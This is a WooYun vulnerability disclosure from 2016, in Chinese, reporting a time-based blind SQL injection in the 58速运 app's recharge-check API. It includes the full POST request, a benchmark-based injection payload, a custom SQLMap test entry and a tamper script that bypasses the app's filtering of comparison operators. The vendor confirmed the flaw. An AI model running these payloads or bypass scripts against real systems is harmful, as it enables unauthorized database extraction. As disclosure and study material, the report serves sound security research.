当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0168283

漏洞标题:58速运官方APP存在SQL注入(绕过之二次开发SQLMap+含Payload/Tamper脚本)

相关厂商:58同城

漏洞作者: 路人甲

提交时间:2016-01-08 09:55

修复时间:2016-02-20 15:48

公开时间:2016-02-20 15:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-08: 细节已通知厂商并且等待厂商处理中
2016-01-08: 厂商已经确认,细节仅向厂商公开
2016-01-18: 细节向核心白帽子及相关领域专家公开
2016-01-28: 细节向普通白帽子公开
2016-02-07: 细节向实习白帽子公开
2016-02-20: 细节向公众公开

简要描述:

APP安全之SQL注入

详细说明:

目标:58速运官方APP
检测发现以下地方存在SQL注入:(POST中的mobile,时间盲注)

POST http://suyun.guest.daojia.com/api/guest/rechargeCheak HTTP/1.1
Host: suyun.guest.daojia.com
Proxy-Connection: keep-alive
Referer: http://suyun.guest.daojia.com/api/guest/rechargeact
Content-Length: 56
Origin: http://suyun.guest.daojia.com
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Linux; U; Android 4.1.2; zh-cn; ZTE Grand S Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN, en-US
Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7
Cookie: bi_hmsr=none; bi_znsr=none; bi_hmmd=none; bi_hmpl=none; bi_hmkw=; bi_cookieid=14521820498143605725634
mobile=13888888888&planId=2015123001&imei=a0000000000000


PAYLOAD:

mobile=if(1=1,benchmark(2000000,encode('hello','goodbye')),0)


SQLMAP跑了下,发现没检测出来,可能对于=IF(1=1,SLEEP(X),0)这类的Payload比较少在SQLMap中吧,于是手工添加Payload到SQLMap中,

<test>
<title>MySQL time-based blind - Parameter replace (IF)</title>
<stype>5</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3</clause>
<where>3</where>
<vector>if([INFERENCE],sleep([SLEEPTIME]),0)</vector>
<request>
<payload>if([RANDNUM]=[RANDNUM],sleep([SLEEPTIME]),0)</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>


加了后很快检测出来了,但是依然跑不出数据,手工检测了下发现过滤了以下参数:

><、ORD、BETWEEN


另外,sleep()函数貌似会导致程序睡很久,于是把sleep()换成benchmark,ORD换成ASCII,这两个只要在数据包出口处批量替换即可。
而对于><,可以考虑SQLMAP自带的Tamper——greatest.py,但是由于Payload是我自定义的,所以自带的greatest.py这个Tamper不适用于Payload表达式,于是自己添加了个Tamper到SQLMap中,就一个正则匹配~然后就可以用SQLMAP出数据了~

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
match = re.search(r"(if\()(ORD\(.*?\))>(\d+)", payload, re.I)
if match:
_ = "%sGREATEST(%s,%s+1)=%s" % (match.group(1), match.group(2), match.group(3), match.group(2))
retVal = retVal.replace(match.group(0), _)
return retVal

漏洞证明:

1、SQLMAP漏洞截图

sqlmap.jpg


2、列出当前数据库用户

user.jpg


3、列出当前数据库

db.jpg

修复方案:

请多指教~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-01-08 12:21

厂商回复:

感谢对58安全的关注,已反馈给到家的同学。
PS:司马表示很膜拜,要请你吃饭,请和司马联系。

最新状态:

暂无